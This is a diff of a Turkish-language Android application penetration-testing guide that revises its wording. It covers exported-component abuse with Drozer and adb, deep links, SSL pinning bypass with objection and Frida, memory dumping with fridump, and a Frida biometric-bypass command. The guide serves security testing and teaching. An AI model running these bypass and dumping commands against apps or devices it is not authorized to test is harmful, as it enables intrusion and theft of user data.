Bu bilgiyle, **mariana-trench kodu gözden geçirecek ve olası zayıflıkları bulacaktır**.
|
||||
|
||||
### Sızdırılan Sırlar
|
||||
### Sızdırılan Gizli Bilgiler
|
||||
|
||||
Bir uygulama, içinde keşfedebileceğiniz sırlar (API anahtarları, şifreler, gizli URL'ler, alt alan adları...) içerebilir. [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) gibi bir araç kullanabilirsiniz.
|
||||
Bir uygulama, içinde keşfedebileceğiniz gizli bilgiler (API anahtarları, şifreler, gizli URL'ler, alt alan adları...) içerebilir. [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) gibi bir araç kullanabilirsiniz.
|
||||
|
||||
### Biyometrik Kimlik Doğrulamasını Atlatma
|
||||
### Biyometrik Kimlik Doğrulama Atlatma
|
||||
|
||||
{{#ref}}
|
||||
bypass-biometric-authentication-android.md
|
||||
@ -207,7 +211,7 @@ bypass-biometric-authentication-android.md
|
||||
### Diğer İlginç Fonksiyonlar
|
||||
|
||||
- **Kod yürütme**: `Runtime.exec(), ProcessBuilder(), native code:system()`
|
||||
- **SMS Gönderme**: `sendTextMessage, sendMultipartTestMessage`
|
||||
- **SMS gönderme**: `sendTextMessage, sendMultipartTestMessage`
|
||||
- **Native fonksiyonlar** `native` olarak tanımlanır: `public native, System.loadLibrary, System.load`
|
||||
- [**Native fonksiyonları nasıl tersine mühendislik yapacağınızı öğrenmek için bunu okuyun**](reversing-native-libraries.md)
|
||||
|
||||
@ -223,13 +227,13 @@ content-protocol.md
|
||||
|
||||
## Dinamik Analiz
|
||||
|
||||
> Öncelikle, uygulamayı ve tüm ortamı (özellikle Burp CA sertifikası, Drozer ve Frida) kurabileceğiniz bir ortama ihtiyacınız var. Bu nedenle, köklü bir cihaz (emüle edilmiş veya değil) son derece önerilir.
|
||||
> Öncelikle, uygulamayı ve tüm ortamı (Burp CA sertifikası, Drozer ve Frida başta olmak üzere) kurabileceğiniz bir ortama ihtiyacınız var. Bu nedenle, köklü bir cihaz (emüle edilmiş veya değil) son derece önerilir.
|
||||
|
||||
### Çevrimiçi Dinamik Analiz
|
||||
|
||||
[https://appetize.io/](https://appetize.io) adresinde **ücretsiz bir hesap** oluşturabilirsiniz. Bu platform, APK'ları **yüklemenize** ve **çalıştırmanıza** olanak tanır, bu nedenle bir APK'nın nasıl davrandığını görmek için faydalıdır.
|
||||
Şurada **ücretsiz bir hesap** oluşturabilirsiniz: [https://appetize.io/](https://appetize.io). Bu platform, APK'ları **yüklemenize** ve **çalıştırmanıza** olanak tanır, bu nedenle bir APK'nın nasıl davrandığını görmek için faydalıdır.
|
||||
|
||||
Ayrıca, **uygulamanızın günlüklerini** webde görebilir ve **adb** üzerinden bağlanabilirsiniz.
|
||||
Ayrıca, uygulamanızın **loglarını** webde görebilir ve **adb** üzerinden bağlanabilirsiniz.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -239,14 +243,14 @@ ADB bağlantısı sayesinde, emülatörler içinde **Drozer** ve **Frida** kulla
|
||||
|
||||
#### Bir emülatör kullanarak
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (X86 ve ARM cihazları oluşturabilirsiniz ve [**bu**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**en son x86** sürümleri ARM kütüphanelerini yavaş bir ARM emülatörüne ihtiyaç duymadan destekler).
|
||||
- Bunu ayarlamayı öğrenmek için bu sayfayı okuyun:
|
||||
- [**Android Studio**](https://developer.android.com/studio) ( **x86** ve **arm** cihazlar oluşturabilirsiniz ve [**bu**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**en son x86** sürümleri **ARM kütüphanelerini** yavaş bir arm emülatörüne ihtiyaç duymadan destekler).
|
||||
- Kurulumunu bu sayfada öğrenin:
|
||||
|
||||
{{#ref}}
|
||||
avd-android-virtual-device.md
|
||||
{{#endref}}
|
||||
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Kişisel Sürüm, bir hesap oluşturmanız gerekir. _Potansiyel hataları önlemek için **VirtualBox ile** sürümü **indirmeyi** öneririz._)
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Kişisel Sürüm, bir hesap oluşturmanız gerekir. _Potansiyel hataları önlemek için **VirtualBox** ile **sürümü indirin** önerilir._)
|
||||
- [**Nox**](https://es.bignox.com) (Ücretsiz, ancak Frida veya Drozer'ı desteklemez).
|
||||
|
||||
> [!TIP]
|
||||
@ -260,7 +264,7 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo
|
||||
|
||||
#### Fiziksel bir cihaz kullanma
|
||||
|
||||
**Hata ayıklama** seçeneklerini etkinleştirmeniz gerekir ve cihazı **root** yapabilirseniz harika olur:
|
||||
**Hata ayıklama** seçeneklerini etkinleştirmeniz gerekir ve cihazı **köklemek** iyi olur:
|
||||
|
||||
1. **Ayarlar**.
|
||||
2. (Android 8.0'dan itibaren) **Sistem**'i seçin.
|
||||
@ -269,7 +273,7 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo
|
||||
5. Geri dönün ve **Geliştirici seçeneklerini** bulacaksınız.
|
||||
|
||||
> Uygulamayı kurduktan sonra yapmanız gereken ilk şey, onu denemek ve ne yaptığını, nasıl çalıştığını araştırmak ve onunla rahat olmaktır.\
|
||||
> **MobSF dinamik analizi + pidcat** kullanarak bu ilk dinamik analizi yapmanızı öneririm, böylece **uygulamanın nasıl çalıştığını öğrenebiliriz** ve MobSF **ilginç** **verileri** toplarken daha sonra gözden geçirebiliriz.
|
||||
> **Bu ilk dinamik analizi MobSF dinamik analizi + pidcat kullanarak yapmanızı öneririm**, böylece MobSF **ilginç** **verileri** toplarken uygulamanın nasıl çalıştığını **öğrenebiliriz**.
|
||||
|
||||
### İstenmeyen Veri Sızıntısı
|
||||
|
||||
@ -278,12 +282,12 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo
|
||||
Geliştiriciler, **hata ayıklama bilgilerini** kamuya açık bir şekilde ifşa etme konusunda dikkatli olmalıdır, çünkü bu hassas veri sızıntılarına yol açabilir. Uygulama günlüklerini izlemek ve hassas bilgileri korumak için [**pidcat**](https://github.com/JakeWharton/pidcat) ve `adb logcat` araçları önerilir. **Pidcat**, kullanım kolaylığı ve okunabilirliği nedeniyle tercih edilmektedir.
|
||||
|
||||
> [!WARNING]
|
||||
> **Android 4.0'dan** daha yeni sürümlerden itibaren, **uygulamalar yalnızca kendi günlüklerine erişebilir**. Yani uygulamalar diğer uygulamaların günlüklerine erişemez.\
|
||||
> **Android 4.0'dan daha yeni** sürümlerden itibaren, **uygulamalar yalnızca kendi günlüklerine erişebilir**. Yani uygulamalar diğer uygulamaların günlüklerine erişemez.\
|
||||
> Yine de, **hassas bilgileri günlüğe kaydetmemek** önerilir.
|
||||
|
||||
**Kopyala/Yapıştır Tamponu Önbellekleme**
|
||||
|
||||
Android'in **panoya dayalı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya erişebildiğinden hassas verilerin açığa çıkma riski taşır. Hassas bölümler için kopyala/yapıştır işlevlerini devre dışı bırakmak, kredi kartı bilgileri gibi, veri sızıntılarını önlemek için kritik öneme sahiptir.
|
||||
Android'in **panoya dayalı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya **erişebileceğinden** hassas verilerin açığa çıkma riski taşır. Hassas bölümler için kopyala/yapıştır işlevlerini devre dışı bırakmak, kredi kartı bilgileri gibi, veri sızıntılarını önlemek için kritik öneme sahiptir.
|
||||
|
||||
**Çökme Günlükleri**
|
||||
|
||||
@ -298,32 +302,32 @@ Uygulamalar genellikle Google Adsense gibi hizmetleri entegre eder, bu da geliş
|
||||
### SQLite DB'leri
|
||||
|
||||
Çoğu uygulama, bilgileri saklamak için **içsel SQLite veritabanları** kullanacaktır. Pentest sırasında oluşturulan **veritabanlarına**, **tabloların** ve **sütunların** adlarına ve saklanan tüm **verilere** bir **göz atın** çünkü **hassas bilgiler** bulabilirsiniz (bu bir zayıflık olacaktır).\
|
||||
Veritabanları `/data/data/the.package.name/databases` içinde yer almalıdır, örneğin `/data/data/com.mwr.example.sieve/databases`
|
||||
Veritabanları `/data/data/the.package.name/databases` gibi `/data/data/com.mwr.example.sieve/databases` konumunda bulunmalıdır.
|
||||
|
||||
Eğer veritabanı gizli bilgileri saklıyorsa ve **şifrelenmişse** ancak uygulama içinde **şifreyi** bulabiliyorsanız, bu hala bir **zayıflıktır**.
|
||||
|
||||
Tabloları `.tables` ile listeleyin ve tabloların sütunlarını `.schema <table_name>` ile listeleyin.
|
||||
|
||||
### Drozer (Sızdırılan Aktiviteler, İçerik Sağlayıcılar ve Hizmetler)
|
||||
### Drozer (Saldırı Aktiviteleri, İçerik Sağlayıcıları ve Hizmetler)
|
||||
|
||||
[Drozer Belgeleri](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)'nden: **Drozer**, bir Android uygulamasının rolünü üstlenmenizi ve diğer uygulamalarla etkileşimde bulunmanızı sağlar. Yüklenmiş bir uygulamanın yapabileceği her şeyi yapabilir, örneğin Android’in Araçlar Arası İletişim (IPC) mekanizmasını kullanabilir ve altındaki işletim sistemiyle etkileşimde bulunabilir.\
|
||||
Drozer, **ihracat edilen aktiviteleri, ihracat edilen hizmetleri ve İçerik Sağlayıcıları** istismar etmek için yararlı bir araçtır, bunu aşağıdaki bölümlerde öğreneceksiniz.
|
||||
Drozer, **ihracat edilmiş aktiviteleri, ihracat edilmiş hizmetleri ve İçerik Sağlayıcıları** istismar etmek için faydalı bir araçtır, bunu aşağıdaki bölümlerde öğreneceksiniz.
|
||||
|
||||
### İhracat Edilen Aktiviteleri İstismar Etme
|
||||
### İhracat Edilmiş Aktiviteleri İstismar Etme
|
||||
|
||||
[**Bir Android Aktivitesinin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Ayrıca, bir aktivitenin kodunun **`onCreate`** metodunda başladığını unutmayın.
|
||||
|
||||
**Yetkilendirme atlatma**
|
||||
|
||||
Bir Aktivite ihracat edildiğinde, dış bir uygulamadan ekranını çağırabilirsiniz. Bu nedenle, **hassas bilgileri** içeren bir aktivite **ihracat edildiğinde**, **ona erişmek için** **kimlik doğrulama** mekanizmalarını **atlatabilirsiniz.**
|
||||
Bir Aktivite ihracat edildiğinde, dış bir uygulamadan ekranını çağırabilirsiniz. Bu nedenle, **hassas bilgiler** içeren bir aktivite **ihracat edildiğinde**, **ona erişmek için** **kimlik doğrulama** mekanizmalarını **atlatabilirsiniz.**
|
||||
|
||||
[**Drozer ile ihracat edilen aktiviteleri nasıl istismar edeceğinizi öğrenin.**](drozer-tutorial/index.html#activities)
|
||||
[**Drozer ile ihracat edilmiş aktiviteleri nasıl istismar edeceğinizi öğrenin.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
Ayrıca adb'den bir ihracat edilen aktivite başlatabilirsiniz:
|
||||
Ayrıca, adb'den ihracat edilmiş bir aktivite başlatabilirsiniz:
|
||||
|
||||
- Paket Adı com.example.demo
|
||||
- İhracat Edilen Aktivite Adı com.example.test.MainActivity
|
||||
- İhracat Edilmiş Aktivite Adı com.example.test.MainActivity
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
@ -343,17 +347,17 @@ Eğer tapjacking engellenmezse, dışa aktarılmış aktiviteyi **kullanıcını
|
||||
### İçerik Sağlayıcılarını Sömürme - Hassas bilgilere erişim ve manipülasyon
|
||||
|
||||
[**Bir İçerik Sağlayıcının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#content-provider)\
|
||||
İçerik sağlayıcıları temelde **veri paylaşmak** için kullanılır. Eğer bir uygulamada mevcut içerik sağlayıcılar varsa, onlardan **hassas** verileri **çıkartma** imkanınız olabilir. Ayrıca, olası **SQL enjeksiyonlarını** ve **Path Traversals** test etmek de ilginçtir çünkü bunlar zayıf olabilir.
|
||||
İçerik sağlayıcılar temelde **veri paylaşmak** için kullanılır. Eğer bir uygulamada mevcut içerik sağlayıcılar varsa, onlardan **hassas** verileri **çıkartma** imkanınız olabilir. Ayrıca, olası **SQL enjeksiyonlarını** ve **Path Traversals** test etmek de ilginçtir çünkü bunlar zayıf olabilir.
|
||||
|
||||
[**Drozer ile İçerik Sağlayıcıları nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
### **Servisleri Sömürme**
|
||||
### **Hizmetleri Sömürme**
|
||||
|
||||
[**Bir Servisin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#services)\
|
||||
Bir Servisin eylemlerinin `onStartCommand` metodunda başladığını unutmayın.
|
||||
|
||||
Servis, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren** (veya döndürmeyen) bir şeydir. Dolayısıyla, bir uygulama bazı servisleri dışa aktarıyorsa, ne yaptığını anlamak için **kodunu kontrol etmeli** ve **gizli bilgileri çıkartmak, kimlik doğrulama önlemlerini atlamak...** için **dinamik olarak test etmelisiniz**.\
|
||||
[**Drozer ile Servisleri nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/index.html#services)
|
||||
Servis, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren** (ya da döndürmeyen) bir şeydir. Dolayısıyla, bir uygulama bazı hizmetleri dışa aktarıyorsa, ne yaptığını anlamak için **kodunu kontrol etmeli** ve gizli bilgileri çıkartmak, kimlik doğrulama önlemlerini atlamak için **dinamik olarak test etmelisiniz**...\
|
||||
[**Drozer ile Hizmetleri nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **Broadcast Alıcılarını Sömürme**
|
||||
|
||||
@ -365,12 +369,12 @@ Bir broadcast alıcısı bir tür mesaj bekleyecektir. Alıcının mesajı nası
|
||||
|
||||
### **Şemaları / Derin bağlantıları Sömürme**
|
||||
|
||||
Derin bağlantıları manuel olarak, MobSF gibi araçlar veya [bu](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) gibi betikler kullanarak arayabilirsiniz.\
|
||||
Bir tanımlanmış **şemayı** **adb** veya bir **tarayıcı** kullanarak **açabilirsiniz**:
|
||||
Derin bağlantıları manuel olarak, MobSF gibi araçlar veya [bu gibi](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) betikler kullanarak arayabilirsiniz.\
|
||||
Bir tanımlı **şemayı** **adb** veya bir **tarayıcı** kullanarak **açabilirsiniz**:
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
_Not edin ki **paket adını atlayabilirsiniz** ve mobil, o bağlantıyı açması gereken uygulamayı otomatik olarak çağıracaktır._
|
||||
_Dikkat edin ki, **paket adını atlayabilirsiniz** ve mobil, o bağlantıyı açması gereken uygulamayı otomatik olarak çağıracaktır._
|
||||
```html
|
||||
<!-- Browser regular link -->
|
||||
<a href="scheme://hostname/path?param=value">Click me</a>
|
||||
@ -394,17 +398,17 @@ Uygulama içinde doğru uç noktaları bulursanız, **Açık Yönlendirme** (eğ
|
||||
|
||||
**Daha fazla örnek**
|
||||
|
||||
Bağlantılar hakkında [ilginç bir hata ödül raporu](https://hackerone.com/reports/855618) (_/.well-known/assetlinks.json_).
|
||||
Bağlantılar hakkında [ilginç bir hata avı raporu](https://hackerone.com/reports/855618) (_/.well-known/assetlinks.json_).
|
||||
|
||||
### Taşıma Katmanı İncelemesi ve Doğrulama Hataları
|
||||
|
||||
- Android uygulamaları **sertifikaları her zaman düzgün bir şekilde incelemez**. Bu uygulamaların uyarıları göz ardı etmesi ve kendinden imzalı sertifikaları kabul etmesi veya bazı durumlarda HTTP bağlantılarına geri dönmesi yaygındır.
|
||||
- **Sertifikalar her zaman düzgün bir şekilde incelenmez** Android uygulamaları tarafından. Bu uygulamaların uyarıları göz ardı etmesi ve kendinden imzalı sertifikaları kabul etmesi veya bazı durumlarda HTTP bağlantılarına geri dönmesi yaygındır.
|
||||
- **SSL/TLS el sıkışması sırasında müzakereler bazen zayıftır**, güvensiz şifreleme takımları kullanır. Bu zayıflık, bağlantıyı adam ortası (MITM) saldırılarına karşı savunmasız hale getirir ve saldırganların verileri şifrelerini çözmesine olanak tanır.
|
||||
- Uygulamalar güvenli kanallar kullanarak kimlik doğrulaması yaparken, diğer işlemler için güvensiz kanallar üzerinden iletişim kurmaları durumunda **özel bilgilerin sızması** riski vardır. Bu yaklaşım, oturum çerezleri veya kullanıcı detayları gibi hassas verilerin kötü niyetli varlıklar tarafından ele geçirilmesini korumaz.
|
||||
- **Özel bilgilerin sızması**, uygulamalar güvenli kanallar kullanarak kimlik doğrulaması yaparken, diğer işlemler için güvensiz kanallar üzerinden iletişim kurduğunda bir risk oluşturur. Bu yaklaşım, oturum çerezleri veya kullanıcı detayları gibi hassas verilerin kötü niyetli varlıklar tarafından ele geçirilmesini korumaz.
|
||||
|
||||
#### Sertifika Doğrulama
|
||||
|
||||
**Sertifika doğrulama** üzerine odaklanacağız. Sunucunun sertifikasının bütünlüğü, güvenliği artırmak için doğrulanmalıdır. Bu, güvensiz TLS yapılandırmaları ve hassas verilerin şifrelenmemiş kanallar üzerinden iletilmesi durumunda önemli riskler oluşturabileceğinden kritik öneme sahiptir. Sunucu sertifikalarını doğrulama ve zayıflıkları giderme ile ilgili ayrıntılı adımlar için, [**bu kaynak**](https://manifestsecurity.com/android-application-security-part-10/) kapsamlı rehberlik sağlamaktadır.
|
||||
**Sertifika doğrulama** üzerine odaklanacağız. Sunucunun sertifikasının bütünlüğü, güvenliği artırmak için doğrulanmalıdır. Bu, güvensiz TLS yapılandırmaları ve hassas verilerin şifrelenmemiş kanallar üzerinden iletilmesinin önemli riskler oluşturabileceği için kritik öneme sahiptir. Sunucu sertifikalarını doğrulama ve zayıflıkları giderme ile ilgili ayrıntılı adımlar için, [**bu kaynak**](https://manifestsecurity.com/android-application-security-part-10/) kapsamlı rehberlik sağlamaktadır.
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
@ -424,7 +428,7 @@ SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu aşmak gere
|
||||
|
||||
- **apk'yi otomatik olarak değiştirerek** SSLPinning'i **aşmak için** [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) kullanabilirsiniz. Bu seçeneğin en iyi avantajı, SSL Pinning'i aşmak için root'a ihtiyaç duymamanızdır, ancak uygulamayı silip yeni olanı yeniden yüklemeniz gerekecek ve bu her zaman işe yaramayabilir.
|
||||
- Bu korumayı aşmak için **Frida** kullanabilirsiniz (aşağıda tartışılmıştır). Burp+Frida+Genymotion kullanma rehberiniz burada: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- **SSL Pinning'i otomatik olarak aşmayı** denemek için [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- **SSL Pinning'i otomatik olarak aşmak için** [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- **MobSF dinamik analizi** kullanarak da **SSL Pinning'i otomatik olarak aşmayı** deneyebilirsiniz (aşağıda açıklanmıştır).
|
||||
- Hala yakalamadığınız bazı trafiğin olduğunu düşünüyorsanız, trafiği **iptables kullanarak burp'a yönlendirmeyi** deneyebilirsiniz. Bu blogu okuyun: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
@ -435,14 +439,14 @@ Uygulama içinde yaygın web zayıflıklarını da aramak önemlidir. Bu zayıfl
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re), geliştiriciler, ters mühendisler ve güvenlik araştırmacıları için dinamik bir enstrümantasyon aracıdır.\
|
||||
**Çalışan uygulamaya erişebilir ve çalışma zamanında yöntemleri yakalayarak davranışları değiştirebilir, değerleri değiştirebilir, değerleri çıkarabilir, farklı kodlar çalıştırabilirsiniz...**\
|
||||
**Çalışan uygulamaya erişebilir ve çalışma zamanında yöntemleri bağlayarak davranışı değiştirebilir, değerleri değiştirebilir, değerleri çıkarabilir, farklı kodlar çalıştırabilirsiniz...**\
|
||||
Android uygulamalarını pentest etmek istiyorsanız, Frida'yı nasıl kullanacağınızı bilmelisiniz.
|
||||
|
||||
- Frida'yı nasıl kullanacağınızı öğrenin: [**Frida eğitimi**](frida-tutorial/index.html)
|
||||
- Frida ile eylemler için bazı "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection, Frida kullanımını otomatikleştirmek için harika: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Burada bazı harika Frida betikleri bulabilirsiniz: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Frida'yı [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) adresinde belirtildiği gibi yükleyerek anti-debugging / anti-frida mekanizmalarını aşmayı deneyin (araç [linjector](https://github.com/erfur/linjector-rs))
|
||||
- Burada bazı Harika Frida betikleri bulabilirsiniz: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Frida'yı, [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) adresinde belirtildiği gibi yükleyerek anti-debugging / anti-frida mekanizmalarını aşmayı deneyin (araç [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
### **Belleği Dökme - Fridump**
|
||||
|
||||
@ -457,13 +461,13 @@ python3 fridump3.py -u <PID>
|
||||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
Bu, ./dump klasöründeki belleği dökecektir ve orada şunlarla grep yapabilirsiniz:
|
||||
Bu, belleği ./dump klasörüne dökecektir ve orada şunlarla grep yapabilirsiniz:
|
||||
```bash
|
||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
|
||||
```
|
||||
### **Keystore'daki Hassas Veriler**
|
||||
|
||||
Android'de Keystore, hassas verileri saklamak için en iyi yerdir, ancak yeterli ayrıcalıklara sahip olunduğunda **erişmek mümkündür**. Uygulamalar burada **hassas verileri düz metin olarak** saklama eğiliminde olduğundan, pentestlerin bunu root kullanıcı olarak kontrol etmesi gerekir; aksi takdirde, cihaza fiziksel erişimi olan birisi bu verileri çalabilir.
|
||||
Android'de Keystore, hassas verileri saklamak için en iyi yerdir, ancak yeterli ayrıcalıklara sahip olunduğunda **erişmek mümkündür**. Uygulamalar burada genellikle **hassas verileri düz metin olarak** sakladığından, pentestler bunun için root kullanıcı olarak kontrol edilmelidir veya cihaza fiziksel erişimi olan birisi bu verileri çalabilir.
|
||||
|
||||
Bir uygulama verileri keystore'da saklasa bile, verilerin şifrelenmiş olması gerekir.
|
||||
|
||||
@ -479,13 +483,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
||||
```
|
||||
### **Arka Plan Görüntüleri**
|
||||
|
||||
Bir uygulamayı arka plana aldığınızda, Android **uygulamanın bir anlık görüntüsünü** saklar, böylece ön plana geri döndüğünde, uygulama yüklenmeden önce görüntüyü yüklemeye başlar, böylece uygulamanın daha hızlı yüklendiği izlenimi verir.
|
||||
Bir uygulamayı arka plana aldığınızda, Android **uygulamanın bir anlık görüntüsünü** saklar, böylece ön plana geri döndüğünde, uygulama daha hızlı yükleniyormuş gibi görünmesi için görüntüyü yüklemeye başlar.
|
||||
|
||||
Ancak, bu anlık görüntü **hassas bilgiler** içeriyorsa, anlık görüntüye erişimi olan biri bu bilgileri **çalıp alabilir** (erişim için root gereklidir).
|
||||
Ancak, bu anlık görüntü **hassas bilgiler** içeriyorsa, anlık görüntüye erişimi olan biri bu bilgileri **çalıp alabilir** (erişmek için root'a ihtiyacınız olduğunu unutmayın).
|
||||
|
||||
Anlık görüntüler genellikle şurada saklanır: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android, **FLAG_SECURE** düzen parametresini ayarlayarak ekran görüntüsü alımını **önlemenin** bir yolunu sağlar. Bu bayrağı kullanarak, pencere içeriği güvenli olarak kabul edilir, ekran görüntülerinde görünmesini veya güvenli olmayan ekranlarda görüntülenmesini engeller.
|
||||
Android, **FLAG_SECURE** düzen parametresini ayarlayarak ekran görüntüsü alımını **önlemenin** bir yolunu sağlar. Bu bayrağı kullanarak, pencere içeriği güvenli olarak kabul edilir, bu da ekran görüntülerinde görünmesini veya güvenli olmayan ekranlarda görüntülenmesini engeller.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -495,20 +499,20 @@ Bu araç, dinamik analiz sırasında farklı araçları yönetmenize yardımcı
|
||||
|
||||
### Intent Enjeksiyonu
|
||||
|
||||
Geliştiriciler genellikle bu Intents'leri işleyen ve `startActivity(...)` veya `sendBroadcast(...)` gibi yöntemlere ileten proxy bileşenleri, aktiviteleri, hizmetleri ve yayın alıcıları oluştururlar; bu da riskli olabilir.
|
||||
Geliştiriciler genellikle bu Intents'i işleyen ve `startActivity(...)` veya `sendBroadcast(...)` gibi yöntemlere ileten proxy bileşenleri, aktiviteleri ve hizmetleri oluştururlar; bu da riskli olabilir.
|
||||
|
||||
Tehlike, saldırganların bu Intents'leri yanlış yönlendirerek dışa aktarılmamış uygulama bileşenlerini tetiklemelerine veya hassas içerik sağlayıcılarına erişmelerine izin vermekte yatmaktadır. Dikkate değer bir örnek, URL'leri `Intent` nesnelerine dönüştüren `WebView` bileşenidir; bu, `Intent.parseUri(...)` aracılığıyla yapılır ve ardından bunları çalıştırarak kötü niyetli Intent enjeksiyonlarına yol açabilir.
|
||||
Tehlike, saldırganların bu Intents'i yanlış yönlendirerek dışa aktarılmamış uygulama bileşenlerini tetiklemelerine veya hassas içerik sağlayıcılarına erişmelerine izin vermekte yatmaktadır. Dikkate değer bir örnek, URL'leri `Intent` nesnelerine dönüştüren `WebView` bileşenidir; bu, potansiyel olarak kötü niyetli Intent enjeksiyonlarına yol açabilir.
|
||||
|
||||
### Temel Çıkarımlar
|
||||
|
||||
- **Intent Enjeksiyonu**, webin Açık Yönlendirme sorununa benzer.
|
||||
- Sömürüler, `Intent` nesnelerini ekstra olarak geçirmeyi içerir; bu, güvensiz işlemleri gerçekleştirmek için yönlendirilebilir.
|
||||
- Sömürü, `Intent` nesnelerini ekstra olarak geçirmeyi içerir; bu, güvensiz işlemleri yürütmek için yönlendirilebilir.
|
||||
- Dışa aktarılmamış bileşenleri ve içerik sağlayıcılarını saldırganlara açabilir.
|
||||
- `WebView`’in URL'den `Intent` dönüşümü, istenmeyen eylemleri kolaylaştırabilir.
|
||||
|
||||
### Android İstemci Tarafı Enjeksiyonları ve Diğerleri
|
||||
|
||||
Bu tür güvenlik açıkları hakkında Web'den haberdar olmalısınız. Bir Android uygulamasında bu güvenlik açıklarına karşı özellikle dikkatli olmalısınız:
|
||||
Bu tür güvenlik açıkları hakkında Web'den haberdar olmalısınız. Bir Android uygulamasında bu güvenlik açıklarına özellikle dikkat etmelisiniz:
|
||||
|
||||
- **SQL Enjeksiyonu:** Dinamik sorgular veya İçerik Sağlayıcılarla çalışırken, parametreli sorgular kullandığınızdan emin olun.
|
||||
- **JavaScript Enjeksiyonu (XSS):** Herhangi bir WebView için JavaScript ve Eklenti desteğinin devre dışı olduğundan emin olun (varsayılan olarak devre dışıdır). [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled).
|
||||
@ -534,7 +538,7 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
MobSF, **Android**(apk)**, IOS**(ipa) **ve Windows**(apx) uygulamalarını (_Windows uygulamaları, Windows ana bilgisayarında kurulu bir MobSF'den analiz edilmelidir_) analiz edebilir.\
|
||||
Ayrıca, bir **Android** veya **IOS** uygulamasının kaynak koduyla bir **ZIP** dosyası oluşturursanız (uygulamanın kök klasörüne gidin, her şeyi seçin ve bir ZIP dosyası oluşturun), bunu da analiz edebilecektir.
|
||||
|
||||
MobSF ayrıca **diff/karşılaştırma** analizi yapmanıza ve **VirusTotal** ile entegre olmanıza olanak tanır (API anahtarınızı _MobSF/settings.py_ dosyasında ayarlamanız ve etkinleştirmeniz gerekecek: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Ayrıca `VT_UPLOAD`'u `False` olarak ayarlayabilirsiniz, bu durumda **hash** dosya yerine **yüklenir**.
|
||||
